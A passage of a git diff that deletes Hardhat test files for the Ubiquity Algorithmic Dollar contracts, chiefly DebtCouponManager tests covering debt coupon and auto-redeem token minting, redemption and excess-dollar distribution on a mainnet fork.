twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVBefore = await crvToken.balanceOf(secondAccountAdr); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - - const amountToBeSwapped = await swapUADto3CRV(metaPool, uAD, amount, secondAccount); - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.be.lt(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVAfter = await crvToken.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - - // we have lost all the uAD - expect(balanceUADBefore.sub(amount)).to.equal(balanceUADAfter); - expect(balanceLPBefore).to.equal(balanceLPAfter); - // - expect(balance3CRVBefore.add(amountToBeSwapped)).to.equal(balance3CRVAfter); - }); - it("curve sell penalty should revert if not enough uAD to slash", async () => { - // turn on SellPenalty - await curveIncentive.switchSellPenalty(); - const secondAccountAdr = await secondAccount.getAddress(); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVBefore = await crvToken.balanceOf(secondAccountAdr); - - const metaPoolBalanceUADBefore = await uAD.balanceOf(metaPool.address); - - // We will swap all the balance which is not possible because at the end - // of the transfer there will be no more uAD to take as a penalty - - const amountToBeSwapped = await metaPool["get_dy(int128,int128,uint256)"](0, 1, balanceUADBefore); - const expectedMin3CRV = amountToBeSwapped.div(100).mul(99); - - // signer need to approve metaPool for sending its coin - await uAD.connect(secondAccount).approve(metaPool.address, balanceUADBefore); - // secondAccount swap 3CRV=> x uAD - await expect(metaPool.connect(secondAccount)["exchange(int128,int128,uint256,uint256)"](0, 1, balanceUADBefore, expectedMin3CRV)).to.be.reverted; - - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.equal(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVAfter = await crvToken.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - const metaPoolBalanceUADAfter = await uAD.balanceOf(metaPool.address); - - // no balance has changed - expect(balanceUADBefore).to.equal(balanceUADAfter); - expect(balanceLPBefore).to.equal(balanceLPAfter); - expect(metaPoolBalanceUADBefore).to.equal(metaPoolBalanceUADAfter); - expect(balance3CRVBefore).to.equal(balance3CRVAfter); - }); -}); diff --git a/packages/contracts/dollar/test/DebtCouponManager.test.ts b/packages/contracts/dollar/test/DebtCouponManager.test.ts deleted file mode 100644 index 2f367feb6..000000000 --- a/packages/contracts/dollar/test/DebtCouponManager.test.ts +++ /dev/null @@ -1,1445 +0,0 @@ -import { BigNumber, ContractTransaction, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { DebtCouponManager } from "../artifacts/types/DebtCouponManager"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { CouponsForDollarsCalculator } from "../artifacts/types/CouponsForDollarsCalculator"; -import { UARForDollarsCalculator } from "../artifacts/types/UARForDollarsCalculator"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { DollarMintingCalculator } from "../artifacts/types/DollarMintingCalculator"; -import { ExcessDollarsDistributor } from "../artifacts/types/ExcessDollarsDistributor"; -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { calcPercentage, calcPremium, calcUARforDollar } from "./utils/calc"; -import { swap3CRVtoUAD, swapUADto3CRV } from "./utils/swap"; -import { mineNBlock, resetFork } from "./utils/hardhatNode"; - -describe("DebtCouponManager", () => { - let metaPool: IMetaPool; - let couponsForDollarsCalculator: CouponsForDollarsCalculator; - let manager: UbiquityAlgorithmicDollarManager; - let debtCouponMgr: DebtCouponManager; - let twapOracle: TWAPOracle; - let debtCoupon: DebtCoupon; - let admin: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let treasury: Signer; - let lpReward: Signer; - let uAD: UbiquityAlgorithmicDollar; - let uGOV: UbiquityGovernance; - let uAR: UbiquityAutoRedeem; - let crvToken: ERC20; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let curveWhaleAddress: string; - let curveWhale: Signer; - let dollarMintingCalculator: DollarMintingCalculator; - let uarForDollarsCalculator: UARForDollarsCalculator; - let excessDollarsDistributor: ExcessDollarsDistributor; - const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 - let router: IUniswapV2Router02; - const oneETH = ethers.utils.parseEther("1"); - - const deployUADUGOVSushiPool = async (signer: Signer): Promise => { - const signerAdr = await signer.getAddress(); - // need some uGOV to provide liquidity - await uGOV.mint(signerAdr, ethers.utils.parseEther("1000")); - // add liquidity to the pair uAD-UGOV 1 UGOV = 10 UAD - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - // must allow to transfer token - await uAD.connect(signer).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(signer).approve(routerAdr, ethers.utils.parseEther("1000")); - await router - .connect(signer) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - signerAdr, - blockBefore.timestamp + 100 - ); - - const sushiFactory = await ethers.getContractFactory("SushiSwapPool"); - const sushiUGOVPool = (await sushiFactory.deploy(manager.address)) as SushiSwapPool; - await manager.setSushiSwapPoolAddress(sushiUGOVPool.address); - }; - const couponLengthBlocks = 100; - beforeEach(async () => { - // list of accounts - ({ curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress } = await getNamedAccounts()); - [admin, secondAccount, thirdAccount, treasury, lpReward] = await ethers.getSigners(); - await resetFork(12592661); - router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.connect(admin).setDollarTokenAddress(uAD.address); - const uGOVFactory = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await uGOVFactory.deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - - // set twap Oracle Address - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - // to deploy the stableswap pool we need 3CRV and uAD - // kindly ask a whale to give us some 3CRV - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - // just mint som uAD - // mint 10000 uAD each for admin, manager and secondAccount - const mintings = [await secondAccount.getAddress(), await thirdAccount.getAddress(), manager.address].map( - async (signer): Promise => uAD.connect(admin).mint(signer, ethers.utils.parseEther("10000")) - ); - await Promise.all(mintings); - await manager.connect(admin).deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - // setup the oracle - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const TWAPOracleFactory = await ethers.getContractFactory("TWAPOracle"); - twapOracle = (await TWAPOracleFactory.deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - await manager.connect(admin).setTwapOracleAddress(twapOracle.address); - // set uAR for dollar Calculator - const UARForDollarsCalculatorFactory = await ethers.getContractFactory("UARForDollarsCalculator"); - uarForDollarsCalculator = (await UARForDollarsCalculatorFactory.deploy(manager.address)) as UARForDollarsCalculator; - - await manager.connect(admin).setUARCalculatorAddress(uarForDollarsCalculator.address); - - // set coupon for dollar Calculator - const couponsForDollarsCalculatorFactory = await ethers.getContractFactory("CouponsForDollarsCalculator"); - couponsForDollarsCalculator = (await couponsForDollarsCalculatorFactory.deploy(manager.address)) as CouponsForDollarsCalculator; - await manager.connect(admin).setCouponCalculatorAddress(couponsForDollarsCalculator.address); - // set Dollar Minting Calculator - const dollarMintingCalculatorFactory = await ethers.getContractFactory("DollarMintingCalculator"); - dollarMintingCalculator = (await dollarMintingCalculatorFactory.deploy(manager.address)) as DollarMintingCalculator; - await manager.connect(admin).setDollarMintingCalculatorAddress(dollarMintingCalculator.address); - - // set debt coupon token - const dcManagerFactory = await ethers.getContractFactory("DebtCouponManager"); - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(manager.address)) as DebtCoupon; - - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - debtCouponMgr = (await dcManagerFactory.deploy(manager.address, couponLengthBlocks)) as DebtCouponManager; - - // debtCouponMgr should have the COUPON_MANAGER role to mint debtCoupon - const COUPON_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("COUPON_MANAGER")); - // debtCouponMgr should have the UBQ_MINTER_ROLE to mint uAD for debtCoupon Redeem - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - // debtCouponMgr should have the UBQ_BURNER_ROLE to burn uAD when minting debtCoupon - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - await manager.connect(admin).grantRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, debtCouponMgr.address); - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, debtCouponMgr.address); - - // to calculate the totalOutstanding debt we need to take into account autoRedeemToken.totalSupply - const uARFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - uAR = (await uARFactory.deploy(manager.address)) as UbiquityAutoRedeem; - await manager.setuARTokenAddress(uAR.address); - - // when the debtManager mint uAD it there is too much it distribute the excess to - const excessDollarsDistributorFactory = await ethers.getContractFactory("ExcessDollarsDistributor"); - excessDollarsDistributor = (await excessDollarsDistributorFactory.deploy(manager.address)) as ExcessDollarsDistributor; - - await manager.connect(admin).setExcessDollarsDistributor(debtCouponMgr.address, excessDollarsDistributor.address); - - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - - await manager.connect(admin).setBondingContractAddress(await lpReward.getAddress()); - await deployUADUGOVSushiPool(thirdAccount); - }); - it("exchangeDollarsForUAR should work", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - expect(uADPrice).to.be.lt(oneETH); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - // launch it once to initialize the debt cycle so that getUARReturnedForDollars - // can give us accurate result - const secondAccountAdr = await secondAccount.getAddress(); - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1)) - .to.emit(uAR, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, 1); - - const amountToExchangeForCoupon = oneETH; - - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - - const blockHeightDebt = await debtCouponMgr.blockHeightDebt(); - const calculatedCouponToMint = calcUARforDollar( - amountToExchangeForCoupon.toString(), - blockHeightDebt.toString(), - (lastBlock.number + 1).toString(), - ethers.utils.parseEther("1").toString() - ); - - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - const secondAccUARBalBefore = await uAR.balanceOf(secondAccountAdr); - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(amountToExchangeForCoupon)).to.emit(uAR, "Transfer"); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon)).to.equal(0); - // check that we have a debt coupon with correct premium - const secondAccUARBalAfter = await uAR.balanceOf(secondAccountAdr); - // const debtCoupons = secondAccUARBalAfter.sub(secondAccUARBalBefore); - expect(secondAccUARBalAfter.sub(secondAccUARBalBefore).sub(calculatedCouponToMint).toNumber()).to.be.lessThan(100); - - // check outstanding debt now - const uarTotalSupply = await uAR.totalSupply(); - expect(uarTotalSupply).to.equal(secondAccUARBalAfter); - - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - const CRVAmountToSwap = ethers.utils.parseEther("3000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - - await twapOracle.update(); - const dy3CRVtouAD2 = await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(dy3CRVtouAD2); - await twapOracle.update(); - const whale3CRVBalance = await crvToken.balanceOf(curveWhaleAddress); - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - expect(whale3CRVBalance).to.equal(whale3CRVBalanceBeforeSwap.sub(CRVAmountToSwap)); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // debtCouponMgr uad balance should be empty - let debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const userUADBalanceBeforeRedeem = await uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - const excessUAD = mintableUAD.sub(uarTotalSupply); - const totalSupply = await uAD.totalSupply(); - - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve uAR to manage all of its uAR - // indeed debtCouponMgr will burn the user's uAR - await expect(uAR.connect(secondAccount).approve(debtCouponMgr.address, secondAccUARBalAfter)) - .to.emit(uAR, "Approval") - .withArgs(secondAccountAdr, debtCouponMgr.address, secondAccUARBalAfter); - - await expect(debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(secondAccUARBalAfter)) - .to.emit(uAR, "Burning") - .withArgs(secondAccountAdr, secondAccUARBalAfter) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, secondAccUARBalAfter) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, excessUAD) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), excessUAD.div(2).toString()) - .and.to.emit(uAR, "Transfer") // burn uAR - .withArgs(secondAccountAdr, ethers.constants.AddressZero, secondAccUARBalAfter); - - // we minted more uAD than what we needed for our coupon - expect(mintableUAD).to.be.gt(secondAccUARBalAfter); - - const userUADBalanceAfterRedeem = await uAD.balanceOf(secondAccountAdr); - expect(userUADBalanceAfterRedeem).to.equal(userUADBalanceBeforeRedeem.add(secondAccUARBalAfter)); - // check that we don't have debt coupon anymore - const debtCouponsAfterRedeem = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCouponsAfterRedeem).to.equal(0); - - // debtCouponMgr uad balance should be empty because all minted UAD have been transferred - // to coupon holder and excessDistributor - debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - - // excess distributor have distributed everything - const excessDistributoUADBalance = await uAD.balanceOf(excessDollarsDistributor.address); - - // small change remain - expect(excessDistributoUADBalance).to.equal(0); - }); - it("should redeem uAR before uDebt if there is not enough minted uAD", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - expect(uADPrice).to.be.lt(oneETH); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - // launch it once to initialize the debt cycle so that getUARReturnedForDollars - // can give us accurate result - const secondAccountAdr = await secondAccount.getAddress(); - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1)) - .to.emit(uAR, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, 1); - - const amountToExchangeForCoupon = oneETH; - const amountToExchangeForUAR = oneETH.add(ethers.utils.parseEther("9000")); - - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon.add(amountToExchangeForUAR)); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - - const blockHeightDebt = await debtCouponMgr.blockHeightDebt(); - const calculatedUARToMint = calcUARforDollar( - amountToExchangeForUAR.toString(), - blockHeightDebt.toString(), - (lastBlock.number + 1).toString(), - ethers.utils.parseEther("1").toString() - ); - - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - const secondAccUARBalBefore = await uAR.balanceOf(secondAccountAdr); - // we exchange uAD for UAR - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(amountToExchangeForUAR)).to.emit(uAR, "Transfer"); - const uDebtToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - // we also exchange the same amount of uAD for uDEBT - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock + 1, uDebtToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon).sub(amountToExchangeForUAR)).to.equal(0); - // check that we have uAR with correct premium - const secondAccUARBalAfter = await uAR.balanceOf(secondAccountAdr); - - expect(secondAccUARBalAfter.sub(secondAccUARBalBefore).sub(calculatedUARToMint).toNumber()).to.be.lessThan(2000000); - - // check that we have a debt coupon with correct premium - const uDebtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock + 1); - expect(uDebtCoupons).to.equal(uDebtToMint); - - // check outstanding debt now - - const uarTotalSupply = await uAR.totalSupply(); - expect(uarTotalSupply).to.equal(secondAccUARBalAfter); - await debtCoupon.updateTotalDebt(); - const totalOutstandingDebt = BigNumber.from(await ethers.provider.getStorageAt(debtCoupon.address, 6)); - - expect(totalOutstandingDebt).to.equal(uDebtCoupons); - - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - const CRVAmountToSwap = ethers.utils.parseEther("1000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(BigNumber.from(1)); - await twapOracle.update(); - const whale3CRVBalance = await crvToken.balanceOf(curveWhaleAddress); - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - expect(whale3CRVBalance).to.equal(whale3CRVBalanceBeforeSwap.sub(CRVAmountToSwap)); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // debtCouponMgr uad balance should be empty - const debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const UADBalanceBeforeRedeem = await uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - - // we haven't minted enough UAD to redeem all the uAR - expect(mintableUAD).to.be.lt(uarTotalSupply); - // trying to redeem uDEBT should fail - - // secondAccount must approve debtCouponMgr to manage all of its debtCoupons - // indeed debtCouponMgr will burn the user's debtCoupon - await expect(debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true)) - .to.emit(debtCoupon, "ApprovalForAll") - .withArgs(secondAccountAdr, debtCouponMgr.address, true); - - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock + 1, uDebtToMint)).to.be.revertedWith( - "There aren't enough uAD to redeem currently" - ); - - // now we will try to redemm uAR - const totalSupply = await uAD.totalSupply(); - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve uAR to manage all of its uAR - // indeed debtCouponMgr will burn the user's uAR - await expect(uAR.connect(secondAccount).approve(debtCouponMgr.address, secondAccUARBalAfter)) - .to.emit(uAR, "Approval") - .withArgs(secondAccountAdr, debtCouponMgr.address, secondAccUARBalAfter); - // we can't redeem all the uAR - await expect(debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(secondAccUARBalAfter)) - .to.emit(uAR, "Burning") - .withArgs(secondAccountAdr, mintableUAD) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, mintableUAD); - const uARBalAfterRedeem = await uAR.balanceOf(secondAccountAdr); - const uADBalAfterRedeem = await uAD.balanceOf(secondAccountAdr); - expect(uARBalAfterRedeem).to.equal(secondAccUARBalAfter.sub(mintableUAD)); - expect(uADBalAfterRedeem).to.equal(UADBalanceBeforeRedeem.add(mintableUAD)); - }); - it("exchangeDollarsForUAR and exchange exchangeDollarsForDebtCoupons should work together", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - // Withdraw a single asset from the pool. - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - expect(uADPrice).to.be.lt(oneETH); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - // launch it once to initialize the debt cycle so that getUARReturnedForDollars - // can give us accurate result - const secondAccountAdr = await secondAccount.getAddress(); - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1)) - .to.emit(uAR, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, 1); - - const amountToExchangeForCoupon = oneETH; - const amountToExchangeForUAR = oneETH.add(ethers.utils.parseEther("5")); - - const balanceBefore = await uAD.balanceOf(secondAccountAdr); - - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon.add(amountToExchangeForUAR)); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - - const blockHeightDebt = await debtCouponMgr.blockHeightDebt(); - const calculatedUARToMint = calcUARforDollar( - amountToExchangeForUAR.toString(), - blockHeightDebt.toString(), - (lastBlock.number + 1).toString(), - ethers.utils.parseEther("1").toString() - ); - - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - const secondAccUARBalBefore = await uAR.balanceOf(secondAccountAdr); - // we exchange uAD for UAR - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(amountToExchangeForUAR)).to.emit(uAR, "Transfer"); - const uDebtToMint = await couponsForDollarsCalculator.getCouponAmount(amountToExchangeForCoupon); - // we also exchange the same amount of uAD for uDEBT - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)) - .to.emit(debtCoupon, "MintedCoupons") - .withArgs(secondAccountAdr, expiryBlock + 1, uDebtToMint); - - const balanceAfter = await uAD.balanceOf(secondAccountAdr); - - expect(balanceBefore.sub(balanceAfter).sub(amountToExchangeForCoupon).sub(amountToExchangeForUAR)).to.equal(0); - // check that we have uAR with correct premium - const secondAccUARBalAfter = await uAR.balanceOf(secondAccountAdr); - - expect(secondAccUARBalAfter.sub(secondAccUARBalBefore).sub(calculatedUARToMint).toNumber()).to.be.lessThan(2000000); - - // check that we have a debt coupon with correct premium - const uDebtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock + 1); - expect(uDebtCoupons).to.equal(uDebtToMint); - - // check outstanding debt now - const uarTotalSupply = await uAR.totalSupply(); - expect(uarTotalSupply).to.equal(secondAccUARBalAfter); - await debtCoupon.updateTotalDebt(); - const totalOutstandingDebt = BigNumber.from(await ethers.provider.getStorageAt(debtCoupon.address, 6)); - expect(totalOutstandingDebt).to.equal(uDebtCoupons); - - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - const CRVAmountToSwap = ethers.utils.parseEther("3000"); - - // Exchange (swap) - let dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - - await twapOracle.update(); - const dy3CRVtouADSecond = await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD = dy3CRVtouAD.add(dy3CRVtouADSecond); - await twapOracle.update(); - const whale3CRVBalance = await crvToken.balanceOf(curveWhaleAddress); - const whaleuADBalance = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleuADBalance).to.equal(dy3CRVtouAD); - expect(whale3CRVBalance).to.equal(whale3CRVBalanceBeforeSwap.sub(CRVAmountToSwap)); - - await twapOracle.update(); - const uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // debtCouponMgr uad balance should be empty - let debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const userUADBalanceBeforeRedeem = await 